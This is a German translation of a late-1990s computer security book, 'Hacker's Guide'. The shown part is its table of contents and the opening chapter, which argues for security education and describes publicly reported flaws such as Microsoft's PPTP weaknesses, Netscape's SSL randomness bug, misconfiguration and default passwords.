Hacker's Guide Hacking

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Hacker's Guide
http://kickme.to/tiger/
Inhaltsverzeichnis
Über den Autor
Widmung
Danksagung
1 Warum ich dieses Buch geschrieben habe
1.1 Unser Bedarf an Sicherheit: Real oder imaginär?
1.2 Die Wurzeln des Problems
1.3 Warum Schulung im Bereich Sicherheit wichtig ist
1.4 Zusammenfassung
2 Zum Aufbau des Buches
2.1 Die allgemeine Struktur dieses Buches
2.2 Ansätze für das Arbeiten mit diesem Buch
2.3 Die Grenzen dieses Buches
2.4 Der Aufbau des Buches
2.5 Was Sie noch über den Hacker's Guide wissen sollten
2.6 Inhalt der CD-ROM
3 Die Geburt eines Netzwerks: Das Internet
3.1 Die Anfänge: 1962 bis 1969
3.2 Unix wird geboren: 1969 bis 1973
3.3 Die prägenden Jahre des Internet: 1972 bis 1975
3.4 Das moderne Internet
3.5 Zusammenfassung
4 Ein kurzer Überblick über TCP/IP
4.1 Was ist TCP/IP?
file:///d|/cool stuff/old/hack/inhalt.htm (1 von 10) [19.04.2000 21:14:03]
4.2 Die einzelnen Protokolle
4.3 TCP/IP ist das Internet
4.4 Zusammenfassung
5 Hacker und Cracker
5.1 Was ist der Unterschied zwischen Hackern und Crackern?
5.2 Wo fing das alles an?
5.3 Die Situation heute: Ein Netzwerk im Kriegszustand
5.4 Zusammenfassung
6 Wer ist überhaupt anfällig für Angriffe durch Cracker?
6.1 Eine Definition des Begriffs »knacken«
6.2 Netzwerke der Regierung
6.3 Netzwerke der privaten Wirtschaft
6.4 Eine Warnung
6.5 Zusammenfassung
7 Kriegsführung im Internet
7.1 Das Internet kann Ihr Leben ändern
7.2 Können wir nicht einfach friedlich miteinander umgehen?
7.3 Freund oder Feind?
7.4 Kann das Internet für Spionagezwecke genutzt werden?
7.5 Die Bedrohung wird persönlicher
7.6 Wie wird ein Informationskriegsangriff aussehen?
7.7 Die unmittelbare Zukunft
7.8 Zusammenfassung
7.9 Informationsquellen zum Thema Informationskrieg
7.10 Informationsquellen zum Thema Y2K
8 Sicherheitskonzepte
8.1 Wir brauchen das Internet und wir brauchen es sofort
8.2 Evaluierung Ihrer speziellen Situation
8.3 Zertifizierung
8.4 Wo finden Sie Schulungen?
file:///d|/cool stuff/old/hack/inhalt.htm (2 von 10) [19.04.2000 21:14:03]
8.5 Web-Hosting als eine Lösung
8.6 Die Dienste eines externen Sicherheitsberaters in Anspruch nehmen
8.7 Kosten
8.8 Über Ihren Systemadministrator
8.9 Consultants und andere Lösungen
9 Destruktive Programme
9.1 Was sind destruktive Programme?
9.2 Destruktive Programme als Sicherheitsrisiken
9.3 Die E-Mail-Bombe
9.4 List-Linking
9.5 Ein Wort zu E-Mail-Relaying
9.6 Denial-of-Service-Attacken
9.7 Computerviren
9.8 Zusammenfassung
10 Scanner
10.1 Wie arbeiten Scanner?
10.2 Die Scanner
10.3 Auf anderen Plattformen
10.4 Andere Port-Scanner
10.5 Zusammenfassung
11 Paßwort-Knacker
11.1 Was ist ein Paßwort-Knacker?
11.2 Wie funktionieren Paßwort-Knacker?
11.3 Der Wert von Paßwort-Knackern
11.4 Die Paßwort-Knacker
11.5 Informationsquellen
11.6 Zusammenfassung
12 Trojanische Pferde
12.1 Was ist ein Trojanisches Pferd?
12.2 Woher kommen Trojanische Pferde?
file:///d|/cool stuff/old/hack/inhalt.htm (3 von 10) [19.04.2000 21:14:03]
12.3 Wo findet man Trojanische Pferde?
12.4 Wie oft werden Trojaner wirklich entdeckt?
12.5 Wie hoch ist das Risiko, das Trojanische Pferde darstellen?
12.6 Wie kann ich ein Trojanisches Pferd aufspüren?
12.7 Informationsquellen
12.8 Zusammenfassung
13 Sniffer
13.1 Sniffer als Sicherheitsrisiken
13.2 Wie hoch ist das Risiko, das Sniffer darstellen?
13.3 Gab es schon tatsächliche Angriffe durch Sniffer?
13.4 Welche Informationen fangen Sniffer ab?
13.5 Wo kann man einen Sniffer finden?
13.6 Wo kann ich einen Sniffer bekommen?
13.7 Abwehren von Sniffer-Angriffen
13.8 Zusammenfassung
13.9 Weitere Informationen über Sniffer
14 Firewalls
14.1 Was ist eine Firewall?
14.2 Andere Aufgaben, die eine Firewall ausführt
14.3 Was sind die Bestandteile einer Firewall?
14.4 Firewall-Arten
14.5 Allgemeines zu Firewalls
14.6 Aufbau einer Firewall
14.7 Kommerzielle Firewalls
14.8 Zusammenfassung
14.9 Informationsquellen
15 Protokollierungs- und Auditing-Tools
15.1 Protokollierungstools
15.2 Warum noch mehr Logs benutzen?
15.3 Netzwerküberwachung und Datensammlung
file:///d|/cool stuff/old/hack/inhalt.htm (4 von 10) [19.04.2000 21:14:03]
15.4 Tools für die Analyse von Log-Dateien
15.5 Spezialisierte Protokollierungswerkzeuge
15.6 Zusammenfassung
16 Das Sicherheitsloch
16.1 Das Konzept des Sicherheitslochs
16.2 Über Aktualität
16.3 Wie ein Sicherheitsloch entsteht
16.4 Das Datenmonster in Schach halten
16.5 Wieviel Sicherheit brauchen Sie?
16.6 Generelle Informationsquellen
16.7 Mailing-Listen
16.8 Usenet-Newsgruppen
16.9 Mailing-Listen von Anbietern, Patch-Archive
und Informationsquellen
16.10 Zusammenfassung
17 Microsoft
17.1 DOS
17.2 Windows for Workgroups und Windows 95
17.3 Sicherheitslücken von Microsoft-Anwendungen
17.4 FrontPage-Erweiterungen
17.5 Zusammenfassung
18 Unix - die große Herausforderung
18.1 Sicherheit von Anfang an
18.2 Die physikalische Sicherheit
18.3 Konsolensicherheit
18.4 Installationsmedien
18.5 Default-Konfigurationen
18.6 Paßwortsicherheit
18.7 Installation eines Programms zur proaktiven Paßwortprüfung
18.8 Patches
18.9 Spezielle Sicherheitslücken
file:///d|/cool stuff/old/hack/inhalt.htm (5 von 10) [19.04.2000 21:14:03]
18.10 Der nächste Schritt: Überprüfung der Dienste
18.11 FTP
18.12 FTP im allgemeinen
18.13 Gopher
18.14 NFS (Network File System)
18.15 HTTP
18.16 Sicherung des Dateisystems
18.17 Über X-Window
18.18 Checklisten und Leitfäden
18.19 Ausgewählte Exploits für Unix (allgemein)
18.20 Informationsquellen
18.21 Bücher
18.22 Online-Publikationen
18.23 Zusammenfassung
19 Novell
19.1 Interne Sicherheit
19.2 Default-Paßwörter
19.3 Remote-Angriffe auf NetWare
19.4 Spoofing
19.5 Denial of Service (DoS)
19.6 Utilities zur Sicherung und Verwaltung von Novell-Netzwerken
19.7 Utilities zum Knacken von Novell-Netzwerken
oder Testen ihrer Sicherheit
19.8 Informationsquellen
20 VAX/VMS
20.1 VMS
20.2 Die Sicherheit von VMS
20.3 Einige alte Sicherheitslöcher
20.4 Überwachung und Protokollierung
20.5 Andere Zeiten
20.6 Zusammenfassung
20.7 Informationsquellen
file:///d|/cool stuff/old/hack/inhalt.htm (6 von 10) [19.04.2000 21:14:03]
21 Macintosh
21.1 Einrichtung eines Macintosh-Web-Servers
21.2 Schwachstellen auf der Macintosh-Plattform
21.3 Gemeinsame Dateinutzung und Sicherheit
21.4 Interne Sicherheit
21.5 Paßwort-Knacker und verwandte Utilities
21.6 Tools speziell für America Online
21.7 Zusammenfassung
21.8 Informationsquellen
22 Wer ist verantwortlich?
22.1 Die allgemeine Vorstellung
22.2 Über die Zugriffskontrolle
22.3 Wie wird man Root?
22.4 Root könnte bald der Vergangenheit angehören
22.5 Root auf anderen Betriebssystemen
22.6 Der Cracker mit Root-Berechtigung
22.7 Vorsicht vor Root
22.8 Zusammenfassung
23 Interne Sicherheit
23.1 Brauche ich wirklich interne Sicherheit?
23.2 Warum sind interne Angriffe so verbreitet?
23.3 Richtlinien (Policies)
23.4 Hardware
23.5 Platten, Verzeichnisse und Dateien
23.6 Prüfungen der internen Sicherheit
23.7 Interne Sicherheitsscanner
23.8 Kontrolle des Internet-Zugriffs von Mitarbeitern
23.9 Entwicklung von Checklisten zur Optimierung
der Verfahrensweisen
23.10 Zusammenfassung
24 Der entfernte Angriff
file:///d|/cool stuff/old/hack/inhalt.htm (7 von 10) [19.04.2000 21:14:03]
24.1 Was ist ein entfernter Angriff?
24.2 Die ersten Schritte
24.3 Einen kurzen Blick auf das Netzwerk werfen
24.4 Das Betriebssystem
24.5 Weitere Untersuchungen
24.6 Einen Testlauf durchführen
24.7 Zusammenfassung
25 Angriffsebenen
25.1 Wann kann es zu einem Angriff kommen?
25.2 Welche Betriebssysteme verwenden Cracker?
25.3 Ausgangspunkte von Angriffen
25.4 Wie sieht der typische Cracker aus?
25.5 Wie sieht das typische Ziel aus?
25.6 Warum wollen Cracker ein System angreifen?
25.7 Über Angriffe
25.8 Der Sensibilitätsindex der Crack-Ebenen
25.9 Zusammenfassung
25.10 Informationsquellen
26 Spoofing-Attacken
26.1 Was ist Spoofing?
26.2 Grundprinzipien der Internet-Sicherheit
26.3 Die Technik einer Spoofing-Attacke
26.4 Schritte einer erfolgreichen Spoofing-Attacke
26.5 Erraten der Sequenznummer
26.6 Dokumente, die sich speziell mit IP-Spoofing beschäftigen
26.7 ARP-Spoofing
26.8 DNS-Spoofing
26.9 Zusammenfassung
27 Telnet-basierte Angriffe
27.1 Telnet
file:///d|/cool stuff/old/hack/inhalt.htm (8 von 10) [19.04.2000 21:14:03]
27.2 Zusammenfassung
28 Sprachen, Erweiterungen und Sicherheit
28.1 Das World Wide Web wächst heran
28.2 CGI und Sicherheit
28.3 ActiveX
28.4 Script-Sprachen
28.5 Zusammenfassung
29 Anonymität wahren
29.1 Ebenen der Preisgabe
29.2 Browsen im Web und die Gefährdung der Privatsphäre
29.3 Browser-Sicherheit
29.4 Cookies
A Bibliographie zum Thema Sicherheit -
weiterführende Literatur
A.1 Allgemeine Internet-Sicherheit
B Wie Sie an weitere Informationen gelangen
B.1 Offizielle Informationsquellen
B.2 Untergrund-Informationsquellen
C Sicherheitsunternehmen
C.1 Sicherheitsunternehmen
D RFCs zu Sicherheitsthemen
E Computersicherheit und das Gesetz
E.1 Die Vereinigten Staaten
E.2 China
E.3 Rußland und die GUS
E.4 Die Europäische Gemeinschaft
E.5 Zusammenfassung
file:///d|/cool stuff/old/hack/inhalt.htm (9 von 10) [19.04.2000 21:14:03]
E.6 Online Ressourcen
F Inhalt der CD-ROM
F.1 CD-ROM
G Glossar
G.1 Glossar der Sicherheitsbegriffe
Stichwortverzeichnis
file:///d|/cool stuff/old/hack/inhalt.htm (10 von 10) [19.04.2000 21:14:03]
Über den Autor
Anonymous, der sich selbst als Unix- und Perl-Fanatiker beschreibt, lebt mit seiner Frau Michelle und
einem halben Dutzend Computern in Südkalifornien. Er leitet derzeit eine
Internet-Sicherheit-Unternehmensberatung und arbeitet daran, das weltweit größte Archiv zum Thema
Computersicherheit aufzubauen. Außerdem ist er zeitweise als Vertragsprogrammierer für mehrere
Fortune-500-Unternehmen beschäftigt. Sein aktuelles Projekt ist ein verteiltes Datennormalisierungstool,
das in Perl und Server-seitig in JavaScript geschrieben ist.
Widmung
Für Michelle.
Danksagung
Ich möchte mich bei folgenden Personen bedanken: Michael Michaleczko, Erik Ambro, Peter Benson,
Rusty Miller, David Pennells, Patrick Brown, Marty Rush und dem Programmierteam von Pacificnet
International. Alle waren mir dabei behilflich, dieses Buch zu realisieren.
Außerdem gilt mein Dank einem absolut hervorragenden Redaktionsteam: Mark Taber, Scott Meyers,
Randi Roger, David Mayhew, Tonya Maddox, Andrew Cupp und Adam Swetnam.
Über den Autor
file:///d|/cool stuff/old/hack/autor.htm [19.04.2000 21:14:04]
1
Warum ich dieses Buch geschrieben
habe
Als mein Verleger mich bat, den Hacker's Guide zu schreiben, zögerte ich. Natürlich war es eine
großartige Chance, doch ich wußte auch, daß das Buch auf herbe Kritik stoßen würde. Bevor ich zusagte,
rief ich die zuständigen Redakteure an und zählte alle Gründe auf, die gegen dieses Buch sprachen, u.a.
Leser könnten die Informationen böswillig benutzen.
Die Internet-Sicherheitsgemeinde könnte protestieren.
Hersteller könnten Anstoß daran nehmen, daß wir die Schwächen ihrer Produkte offenlegen.
Die Redakteure ließen sich aber auch nach Abwägen dieser Punkte nicht abschrecken. Sie meinten, daß
die Öffentlichkeit Zugang zu den Informationen haben sollte. Da ich ebenfalls dieser Meinung war,
legten wir gemeinsam los. Die Reaktionen auf die erste amerikanische Ausgabe waren interessant.
Die Medien spalteten sich in zwei Lager. Das erste fand das Buch erfrischend und informativ, ungeachtet
eventueller Sicherheitsrisiken. Ben Elgin von ZDNET USA schrieb:
Die Sichtweise des Hackers über viele Kapitel könnte als Werbung für illegale und
unmoralische Online-Aktivitäten gesehen werden, aber diese Art der Darstellung trägt auch
dazu bei, Web-Administratoren wachzurütteln. Sie bekommen eine ehrliche Beurteilung
dessen, was manche Utilities bestimmten Plattformen oder Netzwerk-Konfigurationen
anhaben können. Web-Administratoren werden lernen, ihr Netzwerk zu schützen und zu
entscheiden, wann und wo Sicherheitslöcher entstanden sind. Verstärkte Sicherheit oder
monumentale Gefahr? - 8. September 1997, Ben Elgin
Viele Reporter folgten Elgins Meinung und argumentierten, daß die Veröffentlichung derartiger
Informationen die Sicherheit im Internet verstärken würde. Ein pragmatischer Rezensent vom Library
Journal räumte sogar ein, daß der Hacker's Guide ein wichtiges Tool für System-Administratoren sei:
Netzwerk-Administratoren sollten dieses Buch ganz genau lesen, weil eine Menge
angehender Hacker dies ebenfalls tun und sich dann nach einem Platz umsehen werden, um
ihre neuen Fähigkeiten zu testen, z.B. Ihren LAN- oder Web-Server.
Nicht jeder allerdings begrüßte die Veröffentlichung dieser Informationen. In vielen Kreisen wurde der
Hacker's Guide als ein Marketing-Coup, ein billiger Versuch, Geld zu machen, und ein erstklassiges
Beispiel für Sensationsjournalismus angesehen. Deshalb fühle ich mich verpflichtet, zu erklären, warum
ich dieses Buch geschrieben habe: Es gibt einen echten Bedarf für die Informationen in diesem Buch,
Warum ich dieses Buch geschrieben habe
file:///d|/cool stuff/old/hack/kap01.htm (1 von 12) [19.04.2000 21:14:05]
den ich in den folgenden Abschnitten erläutern werde.
1.1 Unser Bedarf an Sicherheit: Real oder
imaginär?
Tausende sind jeden Tag online, sei es geschäftlich oder privat. Dieses Phänomen wird im allgemeinen
Internet-Explosion genannt und hat die Zusammensetzung des Internet drastisch geändert.
Vor einem Jahrzehnt wurden die meisten Server von Personal gewartet, das zumindest über ein
Basiswissen zum Thema Sicherheit verfügte. Diese Tatsache verhinderte unerlaubte Zugriffe natürlich
nicht völlig, aber in Proportion zu der Anzahl der potentiellen Ziele kamen sie nur selten vor.
Heute werden Web-Server meist von ganz normalen Leuten gewartet, von denen viele nur wenig
Erfahrung im Sicherheitsbereich haben. Die Zahl der potentiellen Ziele ist überwältigend und wächst
täglich. Doch trotz dieser kritischen Situation treiben Geschäftsleute die Bürger weiter voran. Sie
behaupten, das Internet sei sicher, man brauche sich keinerlei Sorgen zu machen. Ist das richtig? Nein.
Marketing-Leute lügen wie gedruckt. Entweder das, oder sie haben keine Ahnung, wovon sie reden. Die
Wahrheit ist, das Internet ist nicht sicher, auch nicht ansatzweise.
Die Situation wird noch durch die Tatsache verschlimmert, daß auch die Autoritäten der
Computer-Industrie dazu beitragen, die Öffentlichkeit einzunebeln. Sie preisen ihre jeweiligen
Sicherheitsprodukte als einzigartig an und geben damit Otto Normalverbraucher zu verstehen, daß alles
in schönster Ordnung ist. Aber die Realität ist eine andere: Jeden Monat knacken Hacker oder Cracker
einen weiteren Sicherheitsmechanismus, der als Industrie- Standard gilt.
1.1.1 Microsofts PPTP
Ein Paradebeispiel ist Microsofts Implementierung des Point-to-Point-Tunneling-Protokolls (PPTP).
PPTP ist ein Protokoll, das benutzt wird, um Virtual Private Networks (VPNs) über das Internet zu legen.
VPNs ermöglichen sicheren, verschlüsselten Datenverkehr zwischen den Netzwerk-Knotenpunkten von
Unternehmen und machen so Festverbindungen überflüssig. (Mit VPNs können Unternehmen das
Internet quasi als ihre globale Festverbindung nutzen.)
Microsofts Implementierung von PPTP wurde als eine der solidesten Sicherheitsmaßnahmen auf dem
Markt gepriesen. PPTP hat ein oder zwei Preise gewonnen und wurde in Computer-Zeitschriften oft als
Standard-Lösung der Industrie beschrieben. So weit, so gut.
Einen Monat vor Druck dieses Buches wurde Microsofts PPTP von einer wohlbekannten
Verschlüsselungsautorität geknackt. Die Pressemitteilung hierüber schockte die Sicherheitswelt:
Weiß es Microsoft nicht besser? Man sollte annehmen, sie wüßten es. Die Fehler von
Microsoft sind nicht etwa subtil, sondern Fehler, die man höchstens von blutigen Anfängern
im Verschlüsselungsbusiness erwarten würde. Die Verschlüsselung wird hier in einer Art
und Weise genutzt, die ihre Wirksamkeit völlig negiert. Die Dokumentation weist
128-Bit-Schlüssel aus, tatsächlich wird aber nichts genutzt, das auch nur annähernd dieser
Schlüssellänge entspricht. Paßwörter werden von derart schlechten Hash-Funktionen
Warum ich dieses Buch geschrieben habe
file:///d|/cool stuff/old/hack/kap01.htm (2 von 12) [19.04.2000 21:14:05]
geschützt, daß die meisten auf sehr einfache Art und Weise geknackt werden können. Und
der Kontrollkanal ist so schlampig designt, daß praktisch jeder einen
Microsoft-PPTP-Server zum Absturz bringen kann. (Aus: Frequently Asked Questions -
Microsoft PPTP Implementation. Counterpane Technologies.
http://www.counterpane.com/pptp-faq.html)
Das hört sich nicht an, als sei Microsofts PPTP sehr sicher, oder? Experten fanden fünf verschiedene
Fehler in der Implementierung, unter anderem Fehler im Paßwort-Hashing, in der Authentifizierung und
der Verschlüsselung. Kurz, sie entdeckten, daß Microsofts Implementierung von PPTP einer Katastrophe
gleichkam.
Ich könnte wetten, daß Sie diese Informationen nie gesehen haben. Dann geht es Ihnen wie vielen
anderen Verantwortlichen in Unternehmen in aller Welt. Sie glauben, daß die von ihnen eingesetzten
Produkte sicher seien. Schließlich ist Microsoft ein großes anerkanntes Unternehmen. Wenn Microsoft
sagt, ein Produkt ist sicher, dann muß dies einfach wahr sein.
Das ist die Einstellung des ganz normalen Netzwerk-Managers heutzutage. Und Tausende von
Unternehmen gehen deshalb ein großes Risiko ein.
Hinweis:
Fehler dieser Art werden jederzeit gemacht. Hier ein amüsantes Beispiel: Kürzlich erst wurde entdeckt,
daß die Verschlüsselungsfunktion von Microsofts Windows NT erfolgreich ausgeschaltet werden kann.
Dieser Angriff ist mittlerweile als der »Sie sind jetzt in Frankreich«-Angriff bekannt geworden. So
funktioniert es: Frankreich erlaubt Privatpersonen keinen Zugang zu starker Verschlüsselung. Wenn
Windows NT Ihren Standort als Frankreich interpretiert, wird die Funktion zur starken Verschlüsselung
des Betriebssystems ausgeschaltet. Nicht sehr sicher, oder?
Fazit: Sie sind auf sich allein gestellt. Das heißt, es liegt an Ihnen, geeignete Maßnahmen zu treffen, um
Ihre Daten zu schützen. Verlassen Sie sich niemals auf Softwarehersteller, diese Aufgabe für Sie zu
übernehmen.
1.2 Die Wurzeln des Problems
Falschaussagen der Softwarehersteller bilden nur einen Teil des Ganzen. Die Wurzeln liegen anderswo.
Die drei ernstzunehmendsten Ursachen für Sicherheitslücken sind:
Falsche Konfiguration
Systemfehler oder unzulängliche Reaktionen der Softwarehersteller
Ungenügende Schulung der Öffentlichkeit
Untersuchen wir jeden Faktor und seine Wirkung!
1.2.1 Falsche Konfiguration
Der Hauptgrund für Sicherheitslücken ist falsche Konfiguration. Dies kann jede beliebige Site jederzeit
zum Absturz bringen, unabhängig von den getroffenen Sicherheitsmaßnahmen. (Der Server des
amerikanischen Justizministeriums wurde z.B. trotz installierter Firewall geknackt. Eine falsch
Warum ich dieses Buch geschrieben habe
file:///d|/cool stuff/old/hack/kap01.htm (3 von 12) [19.04.2000 21:14:05]
konfigurierte Firewall ist soviel wert wie gar keine.)
Fehlkonfigurationen können an jedem Punkt des Vertriebswegs von der Fabrik in Ihr Büro entstehen. So
öffnen z.B. manche Netzwerk-Utilities, wenn sie aktiviert sind, erhebliche Sicherheitslücken. Viele
Softwareprodukte werden mit solchen aktivierten Netzwerk-Utilities ausgeliefert. Die daraus
resultierenden Risiken bleiben erhalten, bis Sie die entsprechenden Utilities deaktivieren oder richtig
konfigurieren.
Ein gutes Beispiel hierfür sind Utilities für den Netzwerk-Drucker. Diese könnten bei einer
Erstinstallation aktiviert sein und damit das System unsicher machen. Um sie zu deaktivieren, müssen
Sie jedoch erst einmal von ihrer Existenz wissen.
Erfahrene Netzwerk-Administratoren lachen hierüber. Wie kann es sein, daß jemandem nicht bewußt ist,
welche Utilities auf seinem Rechner laufen? Die Antwort ist ganz einfach: Denken Sie an Ihr
bevorzugtes Textverarbeitungsprogramm. Wie gut kennen Sie sich damit wirklich aus? Wenn Sie
routinemäßig Makros in einer Textverarbeitungsumgebung schreiben, sind Sie ein fortgeschrittener
Anwender und damit Mitglied einer relativ kleinen Benutzergruppe. Im Gegensatz dazu benutzen die
meisten Anwender nur die Basisfunktionen einer Textverarbeitung: Text, Tabellen, Rechtschreibprüfung
usw. Natürlich ist dagegen nichts einzuwenden, aber die meisten Textverarbeitungsprogramme verfügen
über weitergehende Funktionen, die dem normalen Anwender gar nicht bewußt sind.
Hinweis:
Ein oft zitiertes Axiom in Computer-Presse-Kreisen lautet: »80 Prozent der Leute nutzen nur 20 Prozent
der Möglichkeiten eines Programms.«
Ein Beispiel: Wie viele von Ihnen, die das DOS-basierte WordPerfect benutzten, wußten, daß es ein
Utility namens Grab beinhaltete? Dieses Utility ermöglichte über eine Kommandozeile die Herstellung
von Screen Shots in jedem beliebigen DOS-basierten Programm. Zu jener Zeit war eine derartige
Funktion in einer Textverarbeitung völlig neu. Grab war extrem mächtig, wenn es mit einem verwandten
Utility namens Convert gekoppelt wurde. Convert verwandelte verschiedene Grafik-Dateiformate in
*.wpg-Dateien, ein Format, das in WordPerfect-Dokumente importiert werden konnte. Beide Utilities
wurden über eine Kommandozeile im C:\WP-Directory aufgerufen. Keines der beiden war direkt aus der
WordPerfect- Umgebung zugänglich. Trotz ihrer Mächtigkeit waren diese zwei Utilities kaum bekannt.
Ganz ähnlich wissen wohl die meisten Anwender nur wenig über das Innenleben ihres bevorzugten
Betriebssystems. Der Aufwand, sich entsprechendes Wissen anzueignen, würde den Nutzen bei weitem
übersteigen. Über die Jahre schnappen sie natürlich das eine oder andere auf - vielleicht lesen sie
regelmäßig Computerzeitschriften, in denen so manche Tips und Tricks veröffentlicht werden, oder sie
lernen durch berufliche Weiterbildung, die ihnen in ihrem Job angeboten wird. Egal, wie sie ihr Wissen
erhalten, fast jeder kann irgend etwas »Cooles« über sein Betriebssystem berichten.
Es ist schwierig, mit der Zeit Schritt zu halten. Die Software-Industrie ist eine dynamische Branche, und
Anwender sind in der Regel zwei Jahre hinter der Entwicklung zurück. Diese Verzögerung in der
Anpassung an neue Technologien trägt ebenfalls zum Sicherheitsproblem bei. Wenn ein
Betriebssystem-Entwicklungsteam sein Erzeugnis verändert, wissen viele Anwender auf einmal weniger.
Microsofts Windows 95 ist ein gutes Beispiel: Nach Freigabe bot Windows 95 neuartige Unterstützung
für verschiedene Protokolle - Protokolle, mit denen der gewöhnliche Windows-Anwender nicht vertraut
Warum ich dieses Buch geschrieben habe
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war (und der Übergang zu einem Registry-basierten System war ein ganz schöner Sprung). Es ist
möglich (und wahrscheinlich), daß Anwender sich einiger obskurer Netzwerk-Utilities nicht bewußt
sind.
Ein Szenario: Utilities sind aktiviert, und diese Tatsache ist den Anwendern nicht bewußt. In aktiviertem
Zustand können diese Utilities Sicherheitslöcher von unterschiedlichem Ausmaß öffnen. Wenn ein
Computer, der in dieser Weise konfiguriert ist, an das Internet angeschlossen wird, wird er zu einem
einladenden Ziel mit offenem Scheunentor für Hacker.
Derartige Probleme sind leicht behoben. Die Lösung ist das Deaktivieren (oder richtige Konfigurieren)
der in Frage kommenden Utilities oder Services. Typische Beispiele für diese Art von Problemen sind:
Utilities für den Netzwerk-Drucker
File-Sharing-Utilities
Default-Paßwörter
Netzwerk-Beispiel-Programme
Von den aufgelisteten Beispielen stellen Default-Paßwörter das größte Problem dar. Die meisten
Multi-User-Betriebssysteme am Markt beinhalten mindestens einen Default-Paßwort-Account (oder
einen Account, der überhaupt kein Paßwort verlangt).
Dann gibt es noch die umgekehrte Situation: Statt aktivierter Utilities, die eine Gefahr für Ihr System
darstellen, könnte es Ihnen ebensowenig bewußt sein, daß es nichtaktivierte Utilities gibt, die die
Sicherheit Ihres Systems verstärken würden.
Viele Betriebssysteme haben eingebaute Sicherheitsfunktionen. Diese Funktionen können sehr wirksam
sein, wenn sie aktiviert werden, bleiben jedoch bis zu ihrer Aktivierung völlig wertlos. Sie sehen, es läuft
wieder alles auf Ihren Wissensstand hinaus. Wenn Sie nicht genug wissen, werden Sie mit ziemlicher
Sicherheit unnötig leiden.
Aber das ist noch nicht alles. Für den modernen Netzwerk-Administrator gibt es noch andere Probleme.
Manche Sicherheits-Utilities sind schlichtweg unpraktisch. Nehmen wir z.B. Sicherheitsprogramme, die
File-Access-Privilegien vergeben und Anwenderzugänge je nach Sicherheitslevel, Tageszeit usw.
einschränken. Vielleicht kann Ihr kleines Netzwerk mit aktivierter Zugangsbeschränkung
(Zugangssperren) gar nicht flüssig und effektiv laufen. Wenn dies so ist, müssen Sie das Risiko eben in
Kauf nehmen und vielleicht andere Sicherheitsmaßnahmen treffen, um dieses Manko auszugleichen. Im
wesentlichen sind diese Punkte die Basis jeder Sicherheitstheorie: Sie müssen das Risiko gegen die
praktischen Sicherheitsmaßnahmen abwägen, je nach Sensitivität Ihrer Netzwerkdaten.
Sie werden bemerken, daß die meisten Probleme im Bereich Netzwerk-Sicherheit aus einem Mangel an
Wissen entstehen. Aus diesem Grund werde ich in diesem Buch immer wieder auf das Thema Schulung
hinweisen.
Hinweis:
Es liegt allein an Ihnen, die Probleme, die durch mangelndes Wissen hervorgerufen werden, zu
beseitigen, indem Sie sich selbst oder Ihre Partner mit qualifizierten Schulungen weiterbilden. (Anders
gesagt, Hacker können einiges holen, wenn sie Netzwerke attackieren, die von Menschen mit
mangelndem Wissen verwaltet werden.)
Warum ich dieses Buch geschrieben habe
file:///d|/cool stuff/old/hack/kap01.htm (5 von 12) [19.04.2000 21:14:05]
1.2.2 Systemfehler oder unzulängliche Reaktionen der
Softwarehersteller
Systemfehler oder unzulängliche Reaktionen der Softwarehersteller ist der nächste Punkt auf unserer
Liste. Leider liegen diese Faktoren außerhalb unserer Kontrolle. Das ist wirklich bedauerlich, denn es
gibt eine Tatsache: Versagen seitens der Hersteller ist die zweithäufigste Ursache für
Sicherheitsprobleme. Das kann jeder bestätigen, der Abonnent einer Bug- Mailing-Liste ist. Jeden Tag
werden Fehler oder Programmierschwächen in Netzwerk-Software gefunden. Jeden Tag werden diese in
Form von Hinweisen oder Warnungen ins Internet gesetzt. Unglücklicherweise werden diese Hinweise
und Warnungen nicht von allen Anwendern gelesen.
Systemfehler
Ich stufe Systemfehler hier nicht in Unterkategorien ein. Es reicht aus, einen Systemfehler wie folgt zu
definieren:
Er schwächt das Programm so, daß es zu Fehlern im Arbeitsablauf kommt (sei es unter normalen
oder extremen Bedingungen).
Er ermöglicht Hackern, diese Schwäche (bzw. fehlerhaften Arbeitsablauf) auszunutzen, um das
System zu beschädigen oder Kontrolle darüber zu erlangen.
Es gibt hauptsächlich zwei Arten von Systemfehlern. Der erste, den ich Primärfehler nenne, ist ein
Fehler, der sich innerhalb der Sicherheitsstruktur Ihres Betriebssystems befindet. Er ist ein Fehler, der in
einem sicherheitsrelevanten Programm steckt. Wenn ein Hacker diesen Fehler ausnutzt, erhält er mit
einem Schritt unautorisierten Zugang zu dem System oder seinen Daten.
Netscapes Secure-Sockets-Layer-Fehler
Im Januar 1996 deckten zwei Informatik-Studenten der University of California in Berkeley einen
ernsthaften Fehler im Verschlüsselungssystem des Netscape Navigators auf. Ihre Entdeckungen wurden
in Dr. Dobb's Journal veröffentlicht. In dem Artikel »Randomness and the Netscape Browser« von Ian
Goldberg und David Wagner beschreiben die Autoren, daß Netscapes Implementierung eines
kryptographischen Protokolls namens Secure Sockets Layer (SSL) fehlerhaft sei. Dieser Fehler würde es
ermöglichen, im World Wide Web abgefangene sichere Nachrichten zu knacken. Dies ist ein
ausgezeichnetes Beispiel für einen Primärfehler.
Im Gegensatz dazu gibt es Sekundärfehler. Ein Sekundärfehler ist jeder Fehler, der in einem Programm
entsteht, das eigentlich nichts mit Sicherheit zu tun hat und dennoch eine Sicherheitslücke an einer
anderen Stelle des Systems öffnet. Anders gesagt, liegt das Hauptaugenmerk der Programmierer darauf,
daß ein Programm läuft, und nicht darauf, ob es sicher ist. Zur Zeit der Programmierung denkt niemand
an eventuelle Sicherheitslücken.
Sekundärfehler kommen weitaus häufiger vor als Primärfehler, insbesondere auf Plattformen, die nicht
schon von vornherein auf Sicherheit ausgerichtet sind. Ein Beispiel für einen Sekundärfehler ist jeglicher
Fehler in einem Programm, das besondere Zugangsprivilegien erfordert, um seine Aufgaben
abzuschließen (anders gesagt, ein Programm, das mit root- oder Superuser-Privilegien läuft). Wird ein
solches Programm angegriffen, kann der Hacker sich durch das Programm arbeiten, um besonderen
Warum ich dieses Buch geschrieben habe
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privilegierten Zugang zu Dateien zu bekommen.
Ob Primär- oder Sekundärfehler, Systemfehler stellen eine besondere Bedrohung für die
Internet-Gemeinde dar, wenn sie in täglich benutzten Programmen wie FTP oder Telnet auftauchen.
Diese hochsensiblen Applikationen bilden das Herz des Internet und könnten selbst dann nicht plötzlich
entfernt werden, wenn ein Sicherheitsfehler in ihnen existiert.
Zum besseren Verständnis dieses Konzeptes stellen Sie sich vor, jemand würde entdecken, daß Microsoft
Word vollkommen unsicher ist. Würden die Leute aufhören, es zu benutzen? Natürlich nicht. Millionen
Büros rund um die Welt arbeiten mit Word. Es gibt jedoch einen erheblichen Unterschied zwischen
